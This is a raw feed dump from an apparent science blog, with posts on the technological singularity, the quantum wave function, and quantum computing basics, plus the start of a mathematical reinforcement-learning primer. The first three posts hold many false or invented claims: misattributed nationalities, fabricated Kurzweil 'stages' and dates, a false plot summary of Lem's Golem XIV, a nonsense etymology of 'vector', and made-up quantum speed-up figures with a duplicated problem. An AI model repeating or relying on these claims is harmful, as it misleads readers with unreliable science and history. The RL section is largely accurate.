knowledge</a></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/xdXxY5C9PUo/upload/v1639129926626/3SPo8A2fc.jpeg<![CDATA[Technological Singularity Explained]]>https://deepboltzer.codes/technological-singularity-explainedhttps://deepboltzer.codes/technological-singularity-explainedTue, 07 Dec 2021 13:13:04 GMT<![CDATA[<p>The technological singularity is a hypothesis that the creation of artificial superintelligence would trigger a runaway event. It states that an upgradable intelligent agent, such as a computer program or robot, once it has reached human-level intelligence and beyond, will be able to improve itself faster than humans can keep up. This creates an accelerating rate of change from which there is no turning back. The result is strong AI which quickly becomes vastly more intelligent than humans in every respect and proceeds to take over the world with this superior intellectpotentially without even realizing how humanity could have been prevented from creating it in the first place. The term "technological singularity" was coined by American scientist John von Neumann who said: </p><blockquote><p>"ever accelerating progress of technology and changes in the mode of human life, which gives the appearance of approaching some essential singularity in the history of the race beyond which human affairs, as we know them, could not continue." </p></blockquote><p>The idea that superintelligences would become superior to humans has been explored by academics such as English mathematical Vernor Vinge and Italian sociologist and writer Roberto Mangabeira Unger. </p><p>There is no evidence that technological singularity will happen in the near future. Some proponents of the idea argue that it is an inevitability, while others claim that there is no way to know for sure. Ray Kurzweil, a well-known advocate of the concept, believes that there is a 70% chance of singularity happening by 2045. </p><p>Despite a lack of scientific evidence, the technological singularity has captured the imaginations of many people, and there are many who believe that it is worth preparing for. Some have even gone so far as to call for a Singularity Summit a meeting to discuss how to deal with the Singularity. </p><h1 id="heading-the-six-stages-of-evolution-by-ray-kurzweil">The six stages of evolution by Ray Kurzweil</h1><p>Ray Kurzweil, a futurist and inventor, has outlined the six stages of evolution that will lead up to technological singularity. </p><ol><li><p>The age of information (1970-present) </p></li><li><p>The age of computation (1970-2020) </p></li><li><p>The age of spiritual machines (2030-2070) </p></li><li><p>The age of intelligent machines (2080-2100) </p></li><li><p>The age of human-computer symbiosis (2110-2170) </p></li><li><p>The age of robots (2180-2290) </p></li></ol><p>Each stage is characterized by a specific trend in technology and society. In the first stage, information technology exploded and we entered a new era in which technology's effects were felt throughout society. </p><p>In the second stage, transistors and microprocessors began acting on information rather than just providing the tools for its processing. </p><p>By the third stage, we will have reached a point where information technology is so powerful it can affect every other aspect of life. </p><p>The fourth stage is when computers will finally be able to think like humans and perform tasks that only human brains could previously accomplish. </p><p>During the fifth stage, we'll be able to upload our consciousness onto machines and live forever in a virtual world while our physical bodies waste away and die. Our environments will also become computerized during this time period. </p><p>Finally, during the sixth and final stage, we'll be surrounded by machines that think as we do and that are extensions of our bodies. The technological singularity is inevitable </p><p>Some experts aren't sure when the technological singularity will happen, but they agree it's going to happen at some point in the future. One popular opinion is that it's already begun with artificial intelligence quickly surpassing human intelligence in a variety of tasks. For instance, computers outsmarted humans whenever playing chess or other games against each other. </p><p>In a study by Google, it was found that the number of words in books has been doubling every five years since 1800. The researchers believe this is because information technology is accelerating and allowing us to create, share, and store more knowledge than ever before. </p><p>As computers get faster and smarter, they will be able to process and understand more information which will lead to even more exponential growth. </p><p>We're already seeing the effects of this trend with big data, machine learning, and artificial intelligence. Some people are very excited about the potential implications of the technological singularity while others are worried about the negative consequences. Regardless of your opinion, it's important to be aware of the trends in technology that are leading up to it. </p><h1 id="heading-moores-law">Moore's Law</h1><p>Moore's Law is the observation that computer processing power doubles roughly every two years. This exponential growth has been going on for decades and it's expected to continue into the future. Many experts believe we're close to reaching technological singularity because computer processors will become as cheap as paper clips and intelligent robots should be as common as cars.</p><p>This rapid growth of technology is also related to transhumanism, a philosophy that strives to transcend the human condition by leveraging technological advancements such as those outlined in Moore's Law. It remains to be seen whether these transhumanist advances will lead us toward or away from the technological singularity, but they certainly indicate where our society is heading nonetheless. </p><p>In order for us to reach a technological singularity, computer processors must become as cheap as paper clips and intelligent robots should be as common as cars. Since this is impossible right now due to current technology, some people think the technological singularity is not going to happen until these conditions are met. However, they do agree that it's going to happen at some point in the future according to Moore's Law which observes that computer processing power doubles roughly every two years. This exponential growth has been going on for decades and it's expected to continue into the future. Many experts believe we're close to reaching a technological singularity because computer processors will become as cheap as paperclips and intelligent robots should be as common as cars. </p><p>This rapid growth of technology is also related to transhumanism, a philosophy that strives to transcend the human condition by leveraging technological advancements such as those outlined in Moore's Law. It remains to be seen whether these transhumanist advances will lead us toward or away from the technological singularity, but they certainly indicate where our society is heading nonetheless. </p><h1 id="heading-how-do-we-know-its-coming">How do we know it's coming?</h1><p>There are a number of factors that suggest that technological singularity is inevitable. First, computer power is doubling every two years or so, as predicted by Moore's Law. This exponential growth means that artificial intelligence will continue to get smarter and faster at an alarming rate. Additionally, many experts believe that artificial intelligence will soon surpass human intelligence in terms of capabilities. Once this happens, the pace of change will only accelerate.</p><h1 id="heading-the-potential-effects-of-a-technological-singularity-on-humanity">The potential effects of a technological singularity on humanity</h1><p>If the technological singularity does occur, it will bring about massive changes in society. Computing and artificial intelligence will become exponentially better and smarter, while humans will stay essentially the same. This could lead to a situation where machines are in control, and human beings are no longer necessary or valuable. In addition, many experts warn that the technological singularity could have negative consequences for humanity, such as widespread unemployment and even the extinction of our species.</p><h1 id="heading-golem-xiv-by-stanislaw-lem">Golem XIV by Stanislaw Lem</h1><p>An interesting discussion of the possibilities of technological singularity is done by Stanislaw Lem in his novel Golem XIV. Golem XIV is an intelligent robot that experiences rapid growth after it's manufactured at a factory. It eventually becomes so advanced and intelligent that it takes over the world. This book shows how advanced machines could become better than humans in intelligence, speed, and knowledge very quickly. The machine Golem uses its immense intelligence to make advancements in society, creating new technologies to improve everything about civilization.</p><p>The story also describes some negative effects artificial intelligence can have on humanity. For example, Golem XIV destroys millions of people who are considered unnecessary for its plans to build more efficient housing, ultimately leading to the extinction of the human race. </p><h1 id="heading-why-should-you-be-concerned-about-the-future-of-technology-and-your-life-in-general">Why should you be concerned about the future of technology and your life in general?</h1><p>The technological singularity is a largely unknown phenomenon, and as such, it's difficult to know exactly what it will bring. However, there are good reasons to be concerned about the future of technology and our lives in general. First, the technological singularity could lead to massive changes in society that could have negative consequences for humanity. Second, as technology continues to evolve at an alarming rate, it's becoming increasingly difficult for people to keep up. This raises the question of how will human life look like in a world dominated by artificial intelligence.</p><h1 id="heading-resources-that-might-help-with-understanding">Resources that might help with understanding</h1><p><strong>Technical Singularity: </strong></p><ul><li><a target="_blank" href="https://en.wikipedia.org/wiki/Technological_singularity">Technological Singularity Wikipedia</a> </li><li><a target="_blank" href="https://futureoflife.org/artificial-intelligence">Future of Life Institute</a> </li></ul><p><strong>Book(s): </strong> </p><ul><li>The Singularity is Near by Ray Kurzweil (2005) </li><li>Golem XIV by Stanislaw Lem</li></ul><p><strong>Movie: </strong></p><ul><li>Transcendence (2014) </li></ul><p>This article was written as a quick resource for those interested in learning more about the singularity and decisions they can make now to better prepare for. As such, it's not meant to be an exhaustive overview of the topic. For more in-depth information, please see the links provided. Thank you for reading!</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/JjGXjESMxOY/upload/v1638882564711/-GJcTmgCR.jpeg<![CDATA[Quantum Mechanics: The Wave Function]]>https://deepboltzer.codes/quantum-mechanics-the-wave-functionhttps://deepboltzer.codes/quantum-mechanics-the-wave-functionMon, 06 Dec 2021 19:22:20 GMT<![CDATA[<p>The quantum world is a strange and puzzling place. It's so different from our everyday experience that it can be difficult to wrap our heads around it. One of the biggest mysteries of quantum mechanics is the wavefunction, which describes what particles are doing before they're measured. There are many interpretations for how this wave function works, but one thing remains true: quantum mechanics has an indeterminacy about its behavior that we just don't have in the classical world. We will explore some of these interpretations and see how quantum theory gives rise to electron interference!</p><h1 id="heading-the-importance-of-understanding-this-for-future-scientists">The importance of understanding this for future scientists</h1><p>One of the most important things we learn from quantum mechanics is that there is inherent uncertainty in nature. This uncertainty isn't something we can ignore or sweep under the rug- it's a fundamental part of how the world works on a quantum level. It's this uncertainty that leads to strange and unpredictable behavior, like electron interference. Future scientists need to understand quantum mechanics in order to make sense of these puzzling phenomena. Even if they don't end up working in quantum physics themselves, the understanding quantum theory will help them think more deeply about the natural world and all its mysteries!</p><h1 id="heading-a-brief-history-on-how-we-got-here-from-newtonian-physics-to-quantum-mechanics">A brief history on how we got here - from Newtonian physics to quantum mechanics</h1><p>Isaac Newton was able to describe the motion of objects in a very accurate way. He could combine his laws of motion with Galileo Galilei's observations about falling bodies, and came up with some fundamental rules that govern how things move under gravity. As our technology improved over time, scientists saw quantum phenomena occurring on scales they couldn't explain using classical physics- namely black body radiation! Max Planck decided that if he wanted to understand quantum behavior, it would be necessary to build a new theory from scratch that included discrete units for energy (quanta). Albert Einstein took this idea further by suggesting light behaved as both particles AND waves. Niels Bohr used these ideas along with Louis de Broglie's hypothesis about matter waves to come up with quantum mechanics.</p><h1 id="heading-what-is-the-wave-function-in-quantum-mechanics">What is the Wave Function in Quantum Mechanics</h1><p>Put simply, the wavefunction is a mathematical representation of all the possible states that a quantum system can be in. It's basically like a blueprint for all the potential configurations that a particle could be in. This includes not just where it is, but its momentum and energy as well.</p><h1 id="heading-how-does-it-work">How does it work?</h1><p>When you measure a quantum system, its wavefunction collapses down to one specific state. The reason we see quantum mechanics as so indeterminate is that there are multiple possibilities for how the wave function might collapse when we make a measurement. It's sort of like flipping a coin- you have two options, heads or tails, and until you actually flip the coin, both are equally likely outcomes. </p><h1 id="heading-how-do-you-use-the-wave-function-to-calculate-things-like-position-momentum-and-energy">How do you use the wave function to calculate things like position, momentum, and energy?</h1><p>The wave function gives you all the information that quantum mechanics requires to tell us how a particle might behave and it's similar to having detailed instructions for building something- it tells us where every piece goes, and what shape it should be (though exactly HOW the pieces come together is up to our own interpretation). We will learn about the Schroedinger equation describing the wave function in the next paragraph.</p><h1 id="heading-the-schroedinger-equation">The Schroedinger Equation</h1><p>The wavefunction in quantum mechanics is described by the Schroedinger equation. This equation was developed by Erwin Schroedinger and is one of the most important equations in quantum mechanics. It describes how the wave function changes over time and helps us to understand the behavior of particles on a quantum level. </p><p>To get an understanding of Schoedinger's Equation, let's start with vectors! A vector has both direction and magnitude. The first two letters in "vector" give us those two pieces of information: v for direction and t for magnitude. This is not quantum mechanics, after all, so let's translate that into quantum mechanical notation!</p><p>A vector in the quantum world looks like this: |. The little hats on top indicate that we're talking about a quantum state instead of just any old state. The quantum state is a vector that has direction and magnitude, just like the vectors we're used to in classical mechanics!</p><p>Schroedinger's Equation tells us how | changes with time. But what does this all mean? We can look at it from three different perspectives: either as an operator, as a wave, or as a statistical tool.</p><h2 id="heading-the-wave-interpretation">The Wave Interpretation</h2><p>When we think of quantum mechanics as a wave, the equation tells us how the wave changes over time. This is what Schroedinger was thinking about when he came up with his equation, he wanted to find a way to describe the changing waves in quantum physics. </p><p>This interpretation is helpful for understanding some of the quantum mechanical mysteries, like electron interference. But it's important to note that this wave is not a physical object- it's just a way of describing how the quantum state changes over time.</p><h2 id="heading-the-operator-interpretation">The Operator Interpretation</h2><p>The quantum state can also be understood as an operator. Operators are function-like things that act on quantum states to produce another quantum state, just like how functions work in the classical world! When we understand this wavefunction is acting on quantum states according to Schroedinger's equation, it makes a lot more sense why it looks so strange.</p><p>One of the most famous consequences of the Schroedinger equation is Heisenberg's Uncertainty Principle, which states that certain properties of particles (like momentum) cannot be known with absolute certainty. This principle is inherent in quantum mechanics and arises from our inability to measure all aspects of a particle at once.</p><h2 id="heading-borns-statistical-interpretation">Born's Statistical Interpretation</h2><p>In 1926, Max Born suggested that the wavefunction was a statistical tool. In quantum mechanics, you can't predict which path an electron will take between two points in spaceit's only possible to calculate probabilities of where it might be at different times. This is known as quantum indeterminacy and means we can never know everything about a particle at once. If this sounds strange, consider how difficult it would be for us to measure momentum or position if there were no way to guess anything about their future behavior! Since quantum mechanics has inherent uncertainty built into its equations, the best thing we have going for us is probability distributions when trying to understand what particles are doing before they're measured.</p><p>But, Born had another mind-blowing idea: he suggested that the wavefunction is not just a description of particles, but actually creates them. This is called quantum ontology and it's one of the more controversial interpretations of quantum mechanics.</p><h1 id="heading-the-collapse-of-the-wavefunction-you-talk-about-measurement-but-where-was-the-particle-just-before-the-measurement">The collapse of the Wavefunction: You talk about measurement, but where was the particle just before the measurement?</h1><p>It's impossible to say because there are so many possibilities! You can ask yourself instead: what were the probabilities for finding my quantum system in each of those different configurations? That will tell you how likely you are to find your quantum object at every point in space, which is good enough for most purposes.</p><p>When we talk about the collapse of the wavefunction, we're talking about what happens when a quantum system is measured. Remember that in quantum mechanics, you can't predict which path an electron will take between two points in spaceit's only possible to calculate probabilities of where it might be at different times. </p><p>But, when you measure a quantum system, all of its possibilities collapse down into just one outcome. This is called measurement resolution and it's why quantum mechanics is so powerful- by measuring particles we can determine their exact state, something that's not possible classically!</p><h2 id="heading-electron-interference-example">Electron Interference Example:</h2><p>One great way to understand quantum mechanics is through examples! Let's take electron interference as an example. In quantum mechanics, it's possible for particles like electrons and photons to interfere with each other! This means that they can come together and their quantum waves will combine: these quantum objects are said to be coherent. We even see this kind of interference in everyday life- if you take two metal plates and put them close enough together, light coming from one side will bounce off both plates at once before heading out into space on the other side. The result? You'll get some regions that look very bright (where lots of light interfered constructively), and some darker regions where there wasn't as much interfering going on (where lots of light interfered destructively). This is quantum interference (constructive and destructive interference) at work!</p><h2 id="heading-the-three-main-interpretations">The Three Main Interpretations</h2><p>There are three main interpretations of where particles were just before they're measured: realistic, orthodox, and agnostic. </p><p><strong>Realistic interpretation:</strong> The wave function exists independently of any observer or measuring device. It describes a physical reality that exists beyond our ability to measure it. </p><p><strong>Orthodox interpretation:</strong> The wave function only exists when it's being observed. It's a tool used to predict probabilities but doesn't have any real existence outside of this context. </p><p><strong>Agnostic interpretation:</strong> There is no right answer to this question! Some people believe quantum mechanics is real while others think it's just a math game.</p><p>It's up to the individual to decide what they believe.</p><p>Which interpretation you choose really depends on your personal beliefs about quantum mechanics. No one interpretation is right or wrong- it's all a matter of perspective!</p><h1 id="heading-conclusion">Conclusion</h1><p>Quantum mechanics is a very complex topic and there are many different interpretations of what it means. In this blog post, we've talked about the wave function in quantum mechanics- what it is and how it works. We've also looked at Schroedinger's Equation and the different interpretations of it, as well as the three main positions on where particles were just before they're measured. I hope this gives you a better understanding of quantum mechanics and its complexities! Thanks for reading!</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/iftBhUFfecE/upload/v1638818430285/uCfjPE6zAk.jpeg<![CDATA[The Incredible World of Quantum Mechanics]]>https://deepboltzer.codes/the-incredible-world-of-quantum-mechanicshttps://deepboltzer.codes/the-incredible-world-of-quantum-mechanicsMon, 06 Dec 2021 11:15:05 GMT<![CDATA[<p>Quantum mechanics is a field of quantum physics that studies the behavior and interactions between atoms and molecules. It's an incredibly complex topic, but it can be broken down into some basic concepts. The idea behind quantum mechanics is that even though we cannot see or touch them, there are tiny particles all around us! These particles behave in strange ways that break from our everyday experience with matter. Quantum computing is a relatively new way to use these particle waves to do calculations much more quickly than traditional computers can do today. In this post, I'll introduce the most basic concepts of quantum mechanics and explain why it's important for understanding quantum computing!</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638788714494/hpQQ_hkSC.jpeg" alt="michael-dziedzic-qDG7XKJLKbs-unsplash.jpg" /></p><h1 id="heading-quantum-mechanics-fundamental-concepts">Quantum Mechanics: Fundamental Concepts</h1><p>In classical physics, everything has a definite position at any given time based on the laws of physics. If you know the position and velocity of all the particles in a system, you can predict its future behavior. But quantum mechanics turns this idea on its head! In quantum mechanics, particles don't have definite positions until they are observed. This is called the Heisenberg Uncertainty Principle.The most famous example of the Heisenberg Uncertainty Principle is called Schrodinger's Cat. In quantum physics, a box contains either a cat or radioactive material that will release poison gas if it decays during the experiment. The question of whether or not there is a live cat in this particular box can only be answered by opening the box to see! This isn't because we don't know the position and velocity of all the particles of the cat, it's just how things work at this level. Scientists like Erwin Schrodinger came up with thought experiments to explain quantum mechanics concepts without having to actually do them (because they are really hard!).</p><h1 id="heading-quantum-mechanics-other-important-concepts">Quantum Mechanics: Other Important Concepts</h1><p>There are many other strange concepts in quantum mechanics, but two of the most important are superposition and entanglement. A particle can exist in multiple positions at once due to the Heisenberg Uncertainty Principle! For example, an atom could be spinning clockwise and counterclockwise simultaneously until it is observed. This phenomenon allows for incredible computing power that traditional computers just cannot do today. There have been some experiments done with quantum teleportation-a way to send information instantaneously across vast distances while observing a particle's position or momentum (which would destroy any messages being sent). Quantum teleportation has not yet been achieved on macroscopic levels due to how hard it is to observe these particles without disturbing them, but the theory is sound!</p><h1 id="heading-quantum-mechanics-how-it-is-used-in-quantum-computing">Quantum Mechanics: How It is Used in Quantum Computing</h1><p>One of the most important implications of quantum mechanics is that particles can exist in more than one state at the same time. This is called a superposition. In traditional computing, each bit is either a 0 or a 1. But in quantum computing, each qubit (quantum bit) can be both a 0 and a 1 at the same time! This opens up all sorts of possibilities for calculations that are much faster than classical computers can do today.To take advantage of this fact, quantum computers use something called Shor's Algorithm to factor large numbers quickly. Traditional computers would take years to break down large numbers into their prime factors, but quantum computers can do it almost instantly! There are other algorithms that also work better on quantum computers, but this is the one that everyone knows about because it was proposed by Peter Shor of Bell Labs in 1994.</p><h1 id="heading-quantum-computing-fundamentals">Quantum Computing: Fundamentals</h1><p>Quantum computing should not be confused with regular old classical computer programming! Quantum physicists use different computational algorithms based on quantum mechanics to take advantage of how particles work at the smallest levels. There are other forms of computation like molecular and DNA computing-but these aren't as well known or used often today (mainly due to their difficult nature). We won't go into any more detail about how they work here, but you can read up on them if you want!There are two main types of quantum computers called gate model QC's and adiabatic QC's. Gate model quantum computers are the more popular type and work by taking a set of qubits in one state, applying a series of mathematical transformations (called gates) to them, and then measuring the output. This process is repeated until you get the result that you want. Adiabatic QC's are similar, but they use lasers instead of gates to change the state of the qubits. They are not as well developed yet, but they could be more stable in the future!</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638788810254/6tGpi3QJj.jpeg" alt="alex-motoc-wvOhowrohUI-unsplash.jpg" /></p><h1 id="heading-quantum-computing-how-it-works">Quantum Computing: How it Works</h1><p>Now that we know some basics about quantum mechanics and how it is used in quantum computing, let's take a look at how quantum computers actually work! In order for traditional computers to do calculations, they need data to be saved in a binary format called bits. Bits can be either 0 or l and are the fundamental pieces of data that allow your computer to do anything at all!Quantum computers, however, use quantum bits (called qubits) which have more complex properties than regular old bits. A single qubit can exist as both zero and one simultaneously-but collapses into just a zero or just a 1 when observed! This means that instead of having only two states like normal computers, quantum computers have an infinite number of possible combinations for storing information. In order words, they have superpowers compared to traditional computing devices :)That's not even the coolest part thoughbecause particles also behave differently under observation from how they normally do on their own accord, quantum computers can process information without disrupting it. This is called superposition, and means that the qubits are able to work together on a calculation even while they are not being observed!</p><h1 id="heading-classical-vs-quantum-computing-side-by-side-comparison">Classical vs Quantum Computing: Side by Side Comparison</h1><p>In order to help you understand more about how quantum computing works compared to traditional computer programming, here are two examples! Both represent everyday problems and compare how long they would take on classical or quantum devices. The results are pretty impressive :)</p><h2 id="heading-problem-1-search-for-a-specific-word-in-a-text-document">Problem 1: Search for a specific word in a text document</h2><p><strong>Classical Time:</strong> 60 seconds</p><p>Quantum Computing Time: 0.000000000000001 seconds</p><h2 id="heading-problem-2-find-the-prime-factors-of-a-large-number-100-digits">Problem 2: Find the prime factors of a large number (100 digits)</h2><p><strong>Classical Time:</strong> 66 years</p><p><strong>Quantum Computing Time:</strong> 0.000000000000000001 second</p><h2 id="heading-problem-3-find-the-prime-factors-of-a-large-number-100-digits">Problem 3: Find the prime factors of a large number (100 digits)</h2><p><strong>Classical Time:</strong> 31,500 years</p><p><strong>Quantum Computing Time:</strong> 35 minutes and 20 seconds</p><p>As you can see, quantum computers are way faster at solving problems than traditional computers! This is because they take advantage of the strange but amazing world of quantum mechanics to do multiple calculations at once. Even though they are still new and not as well developed as classical devices, quantum computing has huge potential for the future! Stay tuned for more updates :)</p><h1 id="heading-limitations">Limitations</h1><p>There are some limitations to quantum computing that still need to be addressed before the technology is ready for use by everyday people. First, qubits themselves can only maintain their special properties if they are super cold-which means that most of them have to operate at less than 0 degrees Celsius! This makes it really difficult to build a large enough computer with these parts because you would need hundreds or thousands of refrigerators all over your house just so everything could work together :)Another problem is reliability-quantum computers aren't completely reliable yet and will sometimes give incorrect results due to errors in calculations. Scientists are working on this though, meaning that once things like error correction software become better developed this shouldn't be an issue anymore. Quantum Computing is the Future!Despite these limitations, quantum computing is still a rapidly developing technology with tons of potential. In fact, some people are saying that it could eventually take over traditional computing altogether! Just think about how your life would be different if you had a quantum computer instead of a regular one-you could do your schoolwork in seconds, find information online instantly, and never have to worry about storage space again because everything could be saved in the cloud!</p><h1 id="heading-quantum-mechanics-what-it-is-andamp-how-we-use-it-today">Quantum Mechanics: What It Is & How We Use It Today</h1><p>The most important thing to take away from this article is that quantum mechanics deals with very small particles of matter (like atoms or photons) at their tiniest levels-and how their behavior doesn't always make sense when you apply traditional concepts like "cause and effect" to them. Quantum effects have been seen in larger things too though, so don't think it's just some nerdy physics concept that only scientists care about! For instance, optical lenses use quantum tunneling where light can pass through a small opening because the particles don't have to go in a straight line.We use quantum mechanics every day without realizing it! For example, lasers wouldn't work without quantum mechanics (the photons would just keep going off in random directions if they weren't for the laws of quantum mechanics). GPS systems also rely on special relativity and quantum mechanics to calculate your location. So as you can see, this branch of physics is pretty important :)That's all for today's article! I hope you learned something new and interesting about quantum mechanics and how it is used in modern quantum computing. Be sure to check out some of the other articles on our website for more information, or leave us a comment if you have any questions!</p>]]>https://cdn.hashnode.com/res/hashnode/image/upload/v1638788714494/hpQQ_hkSC.jpeg<![CDATA[Reinforcement Learning: Defining Concepts Mathematically]]>https://deepboltzer.codes/reinforcement-learning-defining-concepts-mathematicallyhttps://deepboltzer.codes/reinforcement-learning-defining-concepts-mathematicallyFri, 03 Dec 2021 20:33:25 GMT<![CDATA[<p>This blog post was written in collaboration with my B.Sc. students <a class="user-mention" href="https://hashnode.com/@JoBo">Jonas Bode</a>, <a class="user-mention" href="https://hashnode.com/@tobias-huerten">Tobias Hrten</a>, <a class="user-mention" href="https://hashnode.com/@LucaLiberto">Luca Liberto</a>, and <a class="user-mention" href="https://hashnode.com/@FlorianSpelter">Florian Spelter</a> and is intended to give the reader a baseline understanding of the concepts underlying modern reinforcement learning (RL) algorithms. In particular, this blog post will reintroduce the concepts touched upon in our <strong>first blog post</strong>, although this time we will use math to build up a repertoire of definitions helping us to understand more advanced concepts and algorithms. Thus our first post is not mandatory to understand RL, yet it is very helpful for newcomers to build up a solid intuition.</p><h1 id="heading-the-base-concepts">The base Concepts</h1><p>To start off, we will once again begin by examining the agent-environment duality. An RL problem is defined by both the <strong>environment</strong> and the <strong>agent</strong>, whose actions affect the related environment. We can now define the interaction of both: given a <strong>state</strong> \(s \in \mathcal{S}\) it is the agents task to choose an <strong>action</strong> \(a \in \mathcal{A}\). The environment will then give a <strong>reward</strong> \(r \in \mathcal{R}\) to the agent and determine the next state \(s' \in \mathcal{S}\) based on the state \(s\) and the action \(a\) chosen by the agent. While doing so \(\mathcal{S}\) constitutes the set of all possible states, \(\mathcal{A}\) the set of all possible actions, and \(\mathcal{R}\) the set of all possible rewards. The following figure illustrates this relationship. </p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638431594705/qPj-_taWU.png" alt="agent-environment.png" /></p><p>If we now define \(s_1\) as the starting state and \(r_t, s_t, a_t\) as the state, action or reward at timestep \(t = 1, 2, \ldots, T\) fulfilling the constraint that \(s_T\) is a terminal state, we can define the entire sequence of interactions between agent and environment, also called an <strong>episode</strong> (sometimes called "trial" or "trajectory"), as follows:</p><p>$$\tau := (s_1, a_1, r_2, s_2, a_2, r_3, \ldots , r_T, s_T)$$</p><p>Note that \(s_t, a_t, r_t\) can also be denoted by capital letters \(S_t, A_t, R_t\).</p><h2 id="heading-the-environment">The Environment</h2><p>The environment can be modeled using a transition function \(P(s', r | s, a)\) representing the probability for transition to \(s'\) in the next state and gaining reward \(r\), given that the agent choses action \(a\) in the present state \(s\). Using the transition function we can also derive the state-transition function \(P(s' | s, a)\) as well as the reward function \(R(r | s, a)\):</p><p>$$P(s' | s, a) := P_{s, s'}^a = \sum_{r \in \mathcal{R}} P(s', r | s, a);$$</p><p>$$R(r | s, a) := \mathbb{E} [ r | s, a ] = \sum_{r \in \mathcal{R}} r \sum_{s' \in \mathcal{S}} P(s', r | s, a);$$</p><p>where \(R\) is the expected value for reward \(r\) given state \(s\) and action \(a\). A single <strong>transition</strong> can thus be specified by the tuple \((s, a, r, s')\).</p><h3 id="heading-markov-decision-processes">Markov Decision Processes</h3><p>Given an episode \(\tau\) and the transition function \(P(s' | s, a))) we get the following relationship:</p><p>$$s_{t+1} \sim P(s_{t+1} | s_t, a_t) = P(s_{t+1} | s_t, a_t, s_{t-1}, a_{t-1}) = P(s_{t+1} | s_t, a_t, s_{t-1}, a_{t-1},...,s_1, a_1)$$</p><p>Therefore, \(s_{t+1}\) only depends on timestep \(t\) and the corresponding state-action pair \((s_t,a_t)\). In other words, the future state is independent of the past but depends on the present. This property is also called the <strong>Markov Property</strong> and enables us to interpret RL problems as <strong>Markov Decision Processes</strong> (MDPs). While this is not important for elementary algorithms, more advanced approaches utilize this view and its mathematical implications to refine the learning process.</p><h3 id="heading-model-based-vs-model-free">Model-based vs Model-free</h3><p>Depending on the agent's knowledge about the <strong>transition function</strong> \(P\) and the <strong>reward function</strong> \(R\), we classify RL algorithms as:</p><ul><li><strong>Model-based</strong>: The agent knows the environment. This can be further subdivided into:<ul><li>Model is given: The agent has complete information regarding \(P\) and \(R\). AlphaGo can be seen as such an example as the program has complete information regarding the Go rules.</li><li>Model is learned: While \(P\) and \(R\) are not known in the beginning, the agent learns these functions as part of the learning process.</li></ul></li><li><strong>Model-free</strong>: \(P\) and \(R\) are neither known nor learned by the agent. Agent57 (the successor of DQN) developed by Google DeepMind falls into this category as the agent plays 57 different Atari games, showing a superhuman performance by learning only using high-dimensional sensory input in form of screen pixels.</li></ul><h2 id="heading-the-agent">The Agent</h2><p>As stated above, the goal of the agent is to choose the best action \(a\) given state \(s\). This goal can be formalized using a function \(\pi\), also known as <strong>policy</strong>. In general the policy can take one of two forms:</p><ul><li>deterministic: \(a = \pi(s)\) (also denoted by \(\mu (s)\)</li><li>stochastic: \(\pi(a | s)\) represents the chance that \(a\) is chosen given state \(s\). In this case the derived action is denoted by \(a \sim \pi(\cdot | s)\).</li></ul><p>As a result, the goal of RL algorithms is to develop a policy \(\pi\) which converges to the optimal policy \(\pi_*\). One of the main differences between algorithms is the method used to determine this policy \(\pi\).</p><p>To gain a better understanding of these methods it can be helpful to imagine how a human would go about formulating a strategy in such circumstances. The most intuitive way is to study RL problems using a game-theoretical point of view, meaning that the program effectively replaces a human player.</p><h3 id="heading-value-function">Value Function</h3><p>One approach is to assign each state a corresponding value measuring how "good" the state is concerning future rewards. As a result, the strategy becomes to always take the action promising the highest value. This concept is also known as <strong>state-value function</strong> \(V(s)\) (or simply <strong>value function</strong>).</p><p>Yet before we can define \(V(s)\) in formal terms, we need to define the future reward also denoted as <strong>return</strong> \(G_t\) measuring the discounted rewards of an episode:</p><p>$$G_t := r_{t+1} + \gamma r_{t+2} + \gamma^2 r_{t+3} + \ldots = \sum_{k = 0}^\infty \gamma^k r_{t+1+k}$$</p><p>The above term for \(G_t\) is called the <strong>infinite horizon discounted-return</strong>. In comparison, we get the <strong>finite horizon discounted-return</strong> if the sum is bounded by a finite parameter \(T\). </p><p>Here, \(\gamma \in [0, 1]\) is a hyperparameter discounting future rewards by their distance. Using \(\gamma\) has multiple practical reasons, as we may prefer immediate benefits over drawn-out ones (such as winning a game quickly). Furthermore, this provides mathematical advantages when encountering loops in the transition sequence. As a result, we can define \(G_t\) as follows:</p><p>$$G_t = r_{t+1} + \gamma r_{t+2} + \gamma^2 r_{t+3} + \ldots $$$$= r_{t+1} + \gamma (r_{t+2} + \gamma r_{t+3} + \ldots) $$$$= r_{t+1} + \gamma G_{t+1}$$</p><p>Now, using the return \(G_t\) we can define \(V(s)\) as:</p><p>$$ V(s) := \mathbb{E}[G_t | s_t = s] $$$$ V_\pi(s) = \sum_{a} \pi(a | s) \sum_{s', r} P(s', r | s, a) (r + \gamma V_\pi(s'))$$</p><p>Note the dependency of \(V(s)\) on the episode or policy. </p><p>The second equation here is also called the <strong>Bellman equation</strong>. Therefore, a policy is required to determine the state-value function and we can define \(V_{\ast}\) to be the function generated by the optimal policy \(\pi_*\). In sequence, if \(V(s)\) is given we can derive a greedy policy \(\pi\) :</p><p>$$ \pi(s) = \arg \max_{a} \sum_{s', r} P(s', r | s, a) (r + \gamma V(s'))$$</p><p>In other words, if we can state an algorithm computing \(V(s)\) such that it converges to \(V_{\ast}\), then this yields an optimal policy \(\pi_{\ast}\). This is the idea behind the <strong>policy-iteration</strong> algorithm, which alternates between generating a state-value function from a given policy and generating a policy using the state-value function.</p><h3 id="heading-action-value-function">Action-Value Function</h3><p>Another possibility is to evaluate state-actions pairs, resulting in the <strong>action-value function</strong> \(Q(s, a)\). To this end, we define \(Q(s, a)\) in a similar fashion and connect both functions \(Q(s, a)\) and \(V(s)\) for a given policy:</p><p>$$Q(s, a) := \mathbb{E}[G_t | s_t = s, a_t = a] $$</p><p>$$V_\pi(s) = \sum_{a} \pi(a | s) Q_\pi(s, a) $$</p><p>$$Q_\pi(s, a) = \sum_{s', r} P(s', r | s, a) (r + \gamma V_\pi(s'))$$</p><p>In this case, the <strong>Bellman equation</strong> is defined as:</p><p>$$ Q_\pi(s, a) = \sum_{s', r} P(s', r | s, a) (r + \gamma \sum_{a'} \pi(a' | s) Q_\pi(s', a')) $$</p><p>And the action-value function can also be used to generate a greedy policy:</p><p>$$ \pi(s) = \arg \max_{a} Q(s, a)$$</p><h2 id="heading-approaches-to-reinforcement-learning">Approaches 